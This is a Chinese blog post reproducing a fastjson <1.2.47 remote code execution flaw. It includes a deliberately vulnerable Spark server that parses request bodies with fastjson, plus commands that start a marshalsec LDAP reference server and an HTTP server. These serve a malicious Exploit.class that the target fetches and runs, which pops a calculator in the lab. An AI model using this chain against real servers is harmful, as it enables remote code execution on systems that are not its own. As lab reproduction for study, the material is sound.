fastjson<1.2.47 RCE 漏洞复现
这两天爆出了 fastjson 的老洞,复现简单记录一下。
首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。
package cn.hacktech.fastjsonserver;
import com.alibaba.fastjson.JSON;
import static spark.Spark.*;
public class Main {
public static void main(String[] args) {
get("/hello", (req, res) -> "spark server start success");
post("/test", (req, res) -> {
String payload = req.body();
JSON.parse(payload);
return "json payload:" + payload;
});
}
}
编译出来后,启动这个 jar,在 /test
这个 post 点即可 post json payload。
然后这里分两类:
- 如果只是想检测漏洞是否存在,可以使用 dnslog 去检测
- 利用的话,需要自己起一个恶意的 ldap 或者 rmi 服务
本机需要起一个 LDAP 服务和 http 服务
poc-->LDAP-->http
poc 会通过上面的路径去请求你的 http 服务上面的对应的 class 文件然后去解析执行这个 class
启动 LDAP 用的 marshalsec,会比较方便。
- 在本目录下启动 http server 在 80 端口
python -m http.server 80
- 启动 LDAP 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit
后面的 Exploit 是指 Exploit.class 文件
- 运行 PoC,它会请求 LDAP 服务,或者直接把 json payload post 到
/test
java -cp fastjson-1.2.47.jar; PoC
其中代码编译的话,直接执行 javac the.java
即可,不过 PoC.java 的编译需要引入 fastjson jar 包,运行 javac -cp ./fastjson-1.2.47.jar PoC.java
具体的细节可见代码打包文件
复现遇到一些坑
这次的这个洞是有 jdk 版本要求的。
最开始我在我本机测试通过,原因是因为它请求不到 class 的时候会去本目录下进行一个查找,也就是并没有经过 http 服务器。
所以想要复现这个漏洞的话,需要 target 主机上面的 jdk 版本有严格的要求,具体见下图
所以建议复现流程是
建议复现流程
- 起一个虚拟机专门用来运行我写的那个简易的 fastjsonserver,或者你可以直接在虚拟机上面执行 PoC,关键在于 target 机器的 jdk 版本。
- 你可以在本机起 ldap/rmi 服务以及 http 服务,或者全部在虚拟机上运行也可以,但是一般真实情况下我们是在外部构造恶意的 ldap/rmi 以及 http server,所以建议这步放到虚拟机外运行。
- 根据你的网络环境修改 PoC。
- 然后 post payload 或者运行 PoC,即可看到虚拟机上弹出了计算器。
低版本的java 8u112
链接: https://pan.baidu.com/s/1Q3lGG2b4I8aTXpQbmvK2dw 提取码: 36mm
复现视频链接:复现流程.zip